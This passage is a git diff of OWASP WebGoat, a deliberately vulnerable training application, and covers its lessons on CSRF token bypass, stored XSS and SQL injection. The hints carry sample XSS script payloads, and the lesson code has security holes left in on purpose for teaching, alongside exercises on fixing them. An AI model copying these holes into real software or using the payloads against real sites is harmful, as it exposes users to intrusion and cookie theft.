HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); - String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, "")); - ElementContainer ec = new ElementContainer(); - - if (transferFunds.length() != 0) - { - HttpSession httpSession = s.getRequest().getSession(); - - //get tokens to validate - Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN); - Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN); - - if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ - - //generate new random token: - int token = INVALID_TOKEN; - while (token == INVALID_TOKEN){ - token = random.nextInt(); - } - httpSession.setAttribute(CSRFTOKEN, token); - - //present transfer form - ec.addElement(new H1("Electronic Transfer:")); - String action = getLink(); - Form form = new Form(action, Form.POST); - form.addAttribute("id", "transferForm"); - form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); - form.addElement( new Input(Input.hidden, CSRFTOKEN, token)); - form.addElement( new Input(Input.submit)); - ec.addElement(form); - //present transfer funds form - - } else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){ - - //transfer is confirmed - ec.addElement(new H1("Electronic Transfer Complete")); - ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); - makeSuccess(s); - - } - //white space - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - } - return ec; - } - - - private final static Integer DEFAULT_RANKING = new Integer(123); - - @Override - protected Integer getDefaultRanking() - { + protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; + private static final String CSRFTOKEN = "CSRFToken"; + private static final int INVALID_TOKEN = 0; + private final Random random; + + public CsrfTokenByPass(){ + super(); + random = new SecureRandom(); + } + /** + * if TRANSFER_FUND_PARAMETER is a parameter, them doTransfer is invoked. doTranser presents the + * web content to confirm and then execute a simulated transfer of funds. An initial request + * should have a dollar amount specified. The amount will be stored and a confirmation form is presented. + * The confirmation can be canceled or confirmed. Confirming the transfer will mark this lesson as completed. + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + String passedInTokenString = HtmlEncoder.encode(s.getParser().getRawParameter(CSRFTOKEN, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.length() != 0) + { + HttpSession httpSession = s.getRequest().getSession(); + + //get tokens to validate + Integer sessionToken = (Integer) httpSession.getAttribute(CSRFTOKEN); + Integer passedInToken = s.getParser().getIntParameter(CSRFTOKEN, INVALID_TOKEN); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //generate new random token: + int token = INVALID_TOKEN; + while (token == INVALID_TOKEN){ + token = random.nextInt(); + } + httpSession.setAttribute(CSRFTOKEN, token); + + //present transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addAttribute("id", "transferForm"); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + form.addElement( new Input(Input.hidden, CSRFTOKEN, token)); + form.addElement( new Input(Input.submit)); + ec.addElement(form); + //present transfer funds form + + } else if (transferFunds.length() > 0 && sessionToken != null && sessionToken.equals(passedInToken)){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); + makeSuccess(s); + + } + //white space + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + } + return ec; + } + + + private final static Integer DEFAULT_RANKING = new Integer(123); + + @Override + protected Integer getDefaultRanking() + { - return DEFAULT_RANKING; - } + return DEFAULT_RANKING; + } - @Override - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned"); - hints.add("The forged request needs both a token and the transfer funds parameter"); - hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?"); - - return hints; - } + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Add 'transferFunds=main' to the URL and inspect the form that is returned"); + hints.add("The forged request needs both a token and the transfer funds parameter"); + hints.add("Find the token in the page with transferFunds=main. Can you script a way to get the token?"); + + return hints; + } - /** - * Gets the title attribute of the MessageBoardScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("CSRF Token By-Pass"); - } + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("CSRF Token By-Pass"); + } - public Element getCredits() - { - A partnet = new A("http://www.partnet.com"); - partnet.setPrettyPrint(false); - partnet.addElement(new StringElement("PART")); - partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); - partnet.setStyle("background-color:midnightblue;color:white"); - - ElementContainer credits = new ElementContainer(); - credits.addElement(new StringElement("Contributed by ")); - credits.addElement(partnet); - return credits; - } + public Element getCredits() + { + A partnet = new A("http://www.partnet.com"); + partnet.setPrettyPrint(false); + partnet.addElement(new StringElement("PART")); + partnet.addElement(new B().addElement(new StringElement("NET")).setPrettyPrint(false)); + partnet.setStyle("background-color:midnightblue;color:white"); + + ElementContainer credits = new ElementContainer(); + credits.addElement(new StringElement("Contributed by ")); + credits.addElement(partnet); + return credits; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java index 9e9b77058..33549fe05 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java +++ b/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java @@ -53,191 +53,191 @@ import org.owasp.webgoat.session.WebSession; */ public class DBCrossSiteScripting extends GoatHillsFinancial { - private final static Integer DEFAULT_RANKING = new Integer(100); + private final static Integer DEFAULT_RANKING = new Integer(100); - public final static String STAGE1 = "Stored XSS"; + public final static String STAGE1 = "Stored XSS"; - public final static String STAGE2 = "Block Stored XSS using DB Input Validation"; + public final static String STAGE2 = "Block Stored XSS using DB Input Validation"; - protected void registerActions(String className) - { - registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); - registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); - registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); - registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); - registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + protected void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); - // These actions are special in that they chain to other actions. - registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); - registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); - registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); - } + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } - /** - * Gets the category attribute of the CrossSiteScripting object - * - * @return The category value - */ - public Category getDefaultCategory() - { - return Category.XSS; - } + /** + * Gets the category attribute of the CrossSiteScripting object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.XSS; + } - /** - * Gets the hints attribute of the DirectoryScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); - // Stage 1 - hints.add("You can put HTML tags in form input fields."); - hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it."); - hints - .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields."); - hints.add("Enter this: <script>alert(\"document.cookie\");</script> in message fields."); + // Stage 1 + hints.add("You can put HTML tags in form input fields."); + hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it."); + hints + .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields."); + hints.add("Enter this: <script>alert(\"document.cookie\");</script> in message fields."); - // Stage 2 - hints.add("Many scripts rely on the use of special characters such as: <"); - hints - .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); - hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern)."); + // Stage 2 + hints.add("Many scripts rely on the use of special characters such as: <"); + hints + .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); + hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern)."); - return hints; - } + return hints; + } - /** - * Gets the instructions attribute of the ParameterInjection object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = ""; + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; - if (!getLessonTracker(s).getCompleted()) - { - String stage = getStage(s); - if (STAGE1.equals(stage)) - { - instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

" - + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" - + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " - + "Verify that 'Jerry' is affected by the attack. " - + "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>."; - } - else if (STAGE2.equals(stage)) - { - instructions = "Stage 2: Block Stored XSS using Input Validation.
" - + "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. "; - if (getWebgoatContext().getDatabaseDriver().contains("jtds")) - instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. "; - instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ " - + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; - } - } + if (!getLessonTracker(s).getCompleted()) + { + String stage = getStage(s); + if (STAGE1.equals(stage)) + { + instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + + "Verify that 'Jerry' is affected by the attack. " + + "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>."; + } + else if (STAGE2.equals(stage)) + { + instructions = "Stage 2: Block Stored XSS using Input Validation.
" + + "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. "; + if (getWebgoatContext().getDatabaseDriver().contains("jtds")) + instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. "; + instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ " + + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + } + } - return instructions; + return instructions; - } + } - @Override - public String[] getStages() - { - if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 }; - return new String[] { STAGE1 }; - } + @Override + public String[] getStages() + { + if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 }; + return new String[] { STAGE1 }; + } - public void handleRequest(WebSession s) - { - if (s.getLessonSession(this) == null) s.openLessonSession(this); + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) s.openLessonSession(this); - String requestedActionName = null; - try - { - requestedActionName = s.getParser().getStringParameter("action"); - } catch (ParameterNotFoundException pnfe) - { - // Let them eat login page. - requestedActionName = LOGIN_ACTION; - } + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } - if (requestedActionName != null) - { - try - { - LessonAction action = getAction(requestedActionName); + if (requestedActionName != null) + { + try + { + LessonAction action = getAction(requestedActionName); - if (action != null) - { - if (!action.requiresAuthentication() || action.isAuthenticated(s)) - { - action.handleRequest(s); - // setCurrentAction(s, action.getNextPage(s)); - } - } - else - { - setCurrentAction(s, ERROR_ACTION); - } - } catch (ParameterNotFoundException pnfe) - { - // System.out.println("Missing parameter"); - pnfe.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (ValidationException ve) - { - // System.out.println("Validation failed"); - ve.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (UnauthenticatedException ue) - { - s.setMessage("Login failed"); - // System.out.println("Authentication failure"); - ue.printStackTrace(); - } catch (UnauthorizedException ue2) - { - s.setMessage("You are not authorized to perform this function"); - // System.out.println("Authorization failure"); - ue2.printStackTrace(); - } catch (Exception e) - { - // All other errors send the user to the generic error page - // System.out.println("handleRequest() error"); - e.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } - } + if (action != null) + { + if (!action.requiresAuthentication() || action.isAuthenticated(s)) + { + action.handleRequest(s); + // setCurrentAction(s, action.getNextPage(s)); + } + } + else + { + setCurrentAction(s, ERROR_ACTION); + } + } catch (ParameterNotFoundException pnfe) + { + // System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (ValidationException ve) + { + // System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + // System.out.println("Authentication failure"); + ue.printStackTrace(); + } catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + // System.out.println("Authorization failure"); + ue2.printStackTrace(); + } catch (Exception e) + { + // All other errors send the user to the generic error page + // System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + } - // All this does for this lesson is ensure that a non-null content exists. - setContent(new ElementContainer()); - } + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the CrossSiteScripting object - * - * @return The title value - */ - public String getTitle() - { - return "LAB: DB Cross Site Scripting (XSS)"; - } + /** + * Gets the title attribute of the CrossSiteScripting object + * + * @return The title value + */ + public String getTitle() + { + return "LAB: DB Cross Site Scripting (XSS)"; + } - @Override - protected boolean getDefaultHidden() - { - String driver = getWebgoatContext().getDatabaseDriver(); - boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); - return hidden; - } + @Override + protected boolean getDefaultHidden() + { + String driver = getWebgoatContext().getDatabaseDriver(); + boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); + return hidden; + } } \ No newline at end of file diff --git a/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java b/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java index ba4839e11..87f50b881 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java @@ -49,177 +49,177 @@ import org.owasp.webgoat.session.WebSession; public class UpdateProfile extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); - HttpServletRequest request = s.getRequest(); - int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID)); - String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME); - String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME); - String ssn = request.getParameter(DBCrossSiteScripting.SSN); - String title = request.getParameter(DBCrossSiteScripting.TITLE); - String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER); - String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1); - String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2); - int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER)); - String startDate = request.getParameter(DBCrossSiteScripting.START_DATE); - int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY)); - String ccn = request.getParameter(DBCrossSiteScripting.CCN); - int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT)); - String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE); - String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES); - String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION); + HttpServletRequest request = s.getRequest(); + int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID)); + String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME); + String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME); + String ssn = request.getParameter(DBCrossSiteScripting.SSN); + String title = request.getParameter(DBCrossSiteScripting.TITLE); + String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER); + String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1); + String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2); + int manager = Integer.parseInt(request.getParameter(DBCrossSiteScripting.MANAGER)); + String startDate = request.getParameter(DBCrossSiteScripting.START_DATE); + int salary = Integer.parseInt(request.getParameter(DBCrossSiteScripting.SALARY)); + String ccn = request.getParameter(DBCrossSiteScripting.CCN); + int ccnLimit = Integer.parseInt(request.getParameter(DBCrossSiteScripting.CCN_LIMIT)); + String disciplinaryActionDate = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE); + String disciplinaryActionNotes = request.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES); + String personalDescription = request.getParameter(DBCrossSiteScripting.DESCRIPTION); - Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, - manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, - personalDescription); + Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, + manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); - try - { - if (subjectId > 0) - { - this.changeEmployeeProfile(s, userId, subjectId, employee); - setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer - .toString(subjectId)); - if (DBCrossSiteScripting.STAGE1.equals(getStage(s))) - { - address1 = address1.toLowerCase(); - boolean pass = address1.contains(""); - if (pass) - { - setStageComplete(s, DBCrossSiteScripting.STAGE1); - } - } - } - else - this.createEmployeeProfile(s, userId, employee); - } catch (SQLException e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) - && (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) - && !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$")) - { - setStageComplete(s, DBCrossSiteScripting.STAGE2); - } + try + { + if (subjectId > 0) + { + this.changeEmployeeProfile(s, userId, subjectId, employee); + setRequestAttribute(s, getLessonName() + "." + DBCrossSiteScripting.EMPLOYEE_ID, Integer + .toString(subjectId)); + if (DBCrossSiteScripting.STAGE1.equals(getStage(s))) + { + address1 = address1.toLowerCase(); + boolean pass = address1.contains(""); + if (pass) + { + setStageComplete(s, DBCrossSiteScripting.STAGE1); + } + } + } + else + this.createEmployeeProfile(s, userId, employee); + } catch (SQLException e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) + && (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) + && !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$")) + { + setStageComplete(s, DBCrossSiteScripting.STAGE2); + } - } + } - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - throw new UnauthenticatedException(); - } + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - return DBCrossSiteScripting.VIEWPROFILE_ACTION; - } + public String getNextPage(WebSession s) + { + return DBCrossSiteScripting.VIEWPROFILE_ACTION; + } - public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException - { - String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }"; - CallableStatement call = WebSession.getConnection(s).prepareCall(update); - // Note: The password field is ONLY set by ChangePassword - call.setInt(1, userId); - call.setString(2, employee.getFirstName()); - call.setString(3, employee.getLastName()); - call.setString(4, employee.getSsn()); - call.setString(5, employee.getTitle()); - call.setString(6, employee.getPhoneNumber()); - call.setString(7, employee.getAddress1()); - call.setString(8, employee.getAddress2()); - call.setInt(9, employee.getManager()); - call.setString(10, employee.getStartDate()); - call.setInt(11, employee.getSalary()); - call.setString(12, employee.getCcn()); - call.setInt(13, employee.getCcnLimit()); - call.setString(14, employee.getDisciplinaryActionDate()); - call.setString(15, employee.getDisciplinaryActionNotes()); - call.setString(16, employee.getPersonalDescription()); - call.executeUpdate(); - } + public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException + { + String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }"; + CallableStatement call = WebSession.getConnection(s).prepareCall(update); + // Note: The password field is ONLY set by ChangePassword + call.setInt(1, userId); + call.setString(2, employee.getFirstName()); + call.setString(3, employee.getLastName()); + call.setString(4, employee.getSsn()); + call.setString(5, employee.getTitle()); + call.setString(6, employee.getPhoneNumber()); + call.setString(7, employee.getAddress1()); + call.setString(8, employee.getAddress2()); + call.setInt(9, employee.getManager()); + call.setString(10, employee.getStartDate()); + call.setInt(11, employee.getSalary()); + call.setString(12, employee.getCcn()); + call.setInt(13, employee.getCcnLimit()); + call.setString(14, employee.getDisciplinaryActionDate()); + call.setString(15, employee.getDisciplinaryActionNotes()); + call.setString(16, employee.getPersonalDescription()); + call.executeUpdate(); + } - public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException - { - try - { - int nextId = getNextUID(s); - String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException + { + try + { + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; - try - { - PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); - ps.setString(1, employee.getFirstName().toLowerCase()); - ps.setString(2, employee.getLastName()); - ps.setString(3, employee.getSsn()); - ps.setString(4, employee.getTitle()); - ps.setString(5, employee.getPhoneNumber()); - ps.setString(6, employee.getAddress1()); - ps.setString(7, employee.getAddress2()); - ps.setInt(8, employee.getManager()); - ps.setString(9, employee.getStartDate()); - ps.setString(10, employee.getCcn()); - ps.setInt(11, employee.getCcnLimit()); - ps.setString(12, employee.getDisciplinaryActionDate()); - ps.setString(13, employee.getDisciplinaryActionNotes()); - ps.setString(14, employee.getPersonalDescription()); + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); - ps.execute(); - } catch (SQLException sqle) - { - s.setMessage("Error updating employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error updating employee profile"); - e.printStackTrace(); - } - } + ps.execute(); + } catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } - private int getNextUID(WebSession s) - { - int uid = -1; - try - { - Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); - results.first(); - uid = results.getInt("uid"); - } catch (SQLException sqle) - { - sqle.printStackTrace(); - s.setMessage("Error updating employee profile"); - } - return uid + 1; - } + private int getNextUID(WebSession s) + { + int uid = -1; + try + { + Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); + results.first(); + uid = results.getInt("uid"); + } catch (SQLException sqle) + { + sqle.printStackTrace(); + s.setMessage("Error updating employee profile"); + } + return uid + 1; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java b/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java index e30003c66..33980d7bb 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java @@ -50,195 +50,195 @@ import org.owasp.webgoat.session.WebSession; * For details, please see http://webgoat.github.io */ public class DBSQLInjection extends GoatHillsFinancial -{ - private final static Integer DEFAULT_RANKING = new Integer(75); +{ + private final static Integer DEFAULT_RANKING = new Integer(75); - public final static int PRIZE_EMPLOYEE_ID = 112; + public final static int PRIZE_EMPLOYEE_ID = 112; - public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; + public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; - public final static String STAGE1 = "String SQL Injection"; + public final static String STAGE1 = "String SQL Injection"; - public final static String STAGE2 = "Block SQL Injection using Bind Variables"; + public final static String STAGE2 = "Block SQL Injection using Bind Variables"; - public void registerActions(String className) - { - registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); - registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); - registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); - registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); - registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + public void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); - // These actions are special in that they chain to other actions. - registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); - registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); - registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); - } + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, 